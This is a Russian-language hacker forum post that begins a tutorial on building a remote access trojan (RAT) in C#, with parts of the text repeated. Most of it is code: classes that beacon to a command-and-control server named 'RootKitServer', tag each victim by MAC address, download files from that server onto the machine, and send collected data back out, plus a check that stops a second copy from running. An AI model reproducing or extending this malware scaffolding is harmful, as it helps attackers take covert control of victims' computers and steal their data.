darknessxxx
Юзер
darknessxxx
Юзер
- 20 Янв 2017
- 81
- 45
Привет всем хуцкерам и не очень, сегодня мы будем делать наброски будущего RAT'ника, будем создавать основные классы для работы, ну а основную логику + сервер будем писать уже в следующих темах(Если они конечно будут).
А теперь об работе, в данном случае мы будем использовать Web-сервер, а общение с ним будет проходить с помощью GETзапросов.
Вот два класса, в которых есть всё что нужно для общения с сервером:
На всякие пожарные набросал ещё функцию для скачивания файлов с сервера.
Дальше нужно подумать об идентификаторе юзера на сервере, думаю для этого вполне зайдёт MAC компудактера.
А вот так просто с помощью объекта NetworkInterface можно достать наш "уникальный" идентификатор:
Вот и всё, самое интересное будет в логике софта)))
А теперь об работе, в данном случае мы будем использовать Web-сервер, а общение с ним будет проходить с помощью GETзапросов.
Вот два класса, в которых есть всё что нужно для общения с сервером:
C#:
class HTTPGet
{
public static string Indication()
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/reception.php?" + "id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
return new StreamReader(response.GetResponseStream()).ReadToEnd();
}
public static void File(string _file, string dir)
{
WebClient myWebClient = new WebClient();
System.Uri Site = new Uri(Config.RootKitServer + @"/files/" + _file);
myWebClient.DownloadFile(Site, dir + _file);
}
}
class HTTPSend
{
public static void Info(string data, string type)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/dispatch.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword + "&info=" + data);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
}
}
Дальше нужно подумать об идентификаторе юзера на сервере, думаю для этого вполне зайдёт MAC компудактера.
А вот так просто с помощью объекта NetworkInterface можно достать наш "уникальный" идентификатор:
C#:
public static string macAddresses()
{
string macAddresses = "";
foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
{
if (nic.OperationalStatus == OperationalStatus.Up)
{
macAddresses += nic.GetPhysicalAddress().ToString();
break;
}
}
return macAddresses;[/CODE
А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:
[CODE=csharp]public static bool EmergencyCopy()
{
string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
string name = filename.Substring(0, filename.IndexOf('.'));
Process[] pr = Process.GetProcesses();
int count = 0;
for (int i = 0; i < pr.Length; i++)
{
if (pr[i].ProcessName == name || pr[i].ProcessName == name + ".exe")
{
count++;
}
}
if (count > 1) { return true; } else { return false; };
}
Последнее редактирование модератором: